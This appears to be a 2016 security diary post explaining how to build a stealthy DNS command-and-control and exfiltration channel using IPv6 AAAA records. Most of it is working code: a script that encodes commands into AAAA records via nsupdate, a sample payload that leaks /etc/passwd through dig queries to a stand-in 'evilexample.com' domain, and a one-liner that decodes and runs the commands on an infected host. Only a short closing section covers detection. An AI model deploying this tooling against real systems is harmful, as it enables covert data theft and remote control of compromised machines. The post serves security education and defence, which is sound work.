Last Updated: 2016-07-26 13:47:55 UTC
by Johannes Ullrich (Version: 1)
Data exfiltration and command and control channels via DNS are nothing new exactly. In many ways, DNS is an ideal covert channel. Even well-protected systems usually can connect to a recursive name server that will forward queries to any authoritative name server. The "bucket chain" of DNS servers will bypass whatever firewall is used to protect the system. Intrusion detection systems have implemented signatures for abnormally large queries, but often valid domain names are rather long, in particular, if they are associated with public clouds or content delivery networks. DNSSEC records also tend to trigger some of these signatures.
Traditionally, an infected system will exfiltrate data using "A" records, and then request new commands to be executed using "TXT" records. While A records work great to exfiltrate data, "TXT" records are more problematic as they are less commonly used and tend to "stick out" more.
Note that we are not interested in implementing a complete "IP over DNS" tunnel here like dnscat2 or iodine. We try to be stealthy on the network by using as few and as normal DNS queries as possible, and we are trying to be covert on the system by using common command line tools instead of installing additional software that may trigger anti-malware systems.
There are a couple of methods that can be used to return more meaningful data than an IPv4 address in a DNS "A" query response:
- Additional information: sort of anything goes here, but the recursive DNS server doesn't necessarily pass the information along
- The response includes a copy of the query. One could modify the query part of the response (after all, we don't expect the response to be used in the traditional sense).
But to do either, we need a custom DNS server. I was trying to find a way to pass data back to the infected system without having to code up a new DNS server (ok, there is Scapy ;-) ... maybe that will be a second diary).
"AAAA" records, on the other hand, return four times as much data as "A" records, and by returning multiple "AAAA" records, we can encode reasonably complex commands. We could do the same with "A" records, but doing so with "AAAA" records turns out to be a lot simpler.
First, we need to encode a set of commands in "AAAA" records. To do this, we convert the content of the file we are trying to encode into hex, and then use the dynamic DNS utility "nsupdate" to add the respective records to our zone (I am using "evilexample.com" here):
file2ipv6.sh: #!/bin/sh n=2000 echo server localhost echo zone evilexample.com echo prereq yxrrset a.evilexample.com AAAA echo update delete a.evilexample.com echo send for b in `xxd -p -c 14 $1 | sed 's/..../&:/g' | sed 's/:$//' `; do f=$n:$b f=`echo $f | sed 's/:..$/&00/'` f=`echo $f:0000:0000:0000:0000:0000:0000:0000:0000 | head -c39` echo update a.evilexample.com. 10 AAAA $f n=$((n+1)); done echo send
Lets incode the following string (in "sample.txt"):
for b in `xxd -p /etc/passwd`; do dig +short $b.evilexample.com; done
This command, once executed on the receiving end, will exfiltrate the content of /etc/passwd
Next, we use file2ipv6.sh to create the necessary AAAA records. nsupdate will pass the commands to the authoritative name server. the "dns.key" is the update key for the zone you are using (if you configured one).
./file2ipv6.sh sample.txt | nsupdate -k dns.key
Once this completes, you should see the following AAAA records:
$ dig +short AAAA a.evilexample.com 2003:7274:2024:622e:6576:696c:6578:616d 2004:706c:652e:636f:6d3b:2064:6f6e:650a 2000:666f:7220:6220:696e:2060:7878:6420 2001:2d70:202f:6574:632f:7061:7373:7764 2002:603b:2064:6f20:6469:6720:2b73:686f
Note how the first two bytes are used as a "serial number" as the order in which the records are returned may change.
On the receiving end (infected system), we can now extract the data with a simple shell script:
dig +short AAAA a.evilexample.com | sort -n | cut -f2- -d':' | tr -d ':' | xxd -p -c 14 -r
To execute the script above, just enclose it in backticks, add it to a cron job or whatever, and you got a command and control channel over IPv6. Best part: All you need on the infected host is a shell script.
You can find the script above on github: https://github.com/DShield-ISC/IPv6DNSExfil
Why use bash vs. perl/python? Because it works!
How do we detect these covert channels?
The best method is likely to monitor the volume of DNS queries from particular hosts. Mail servers tend to sent a lot of DNS queries. But other, normal servers, will only send few. You could implement rate limiting on the recursive web server to disrupt the covert channel, or just monitor your query logs or traffic logs to detect abnormal volumes of DNS traffic from particular hosts.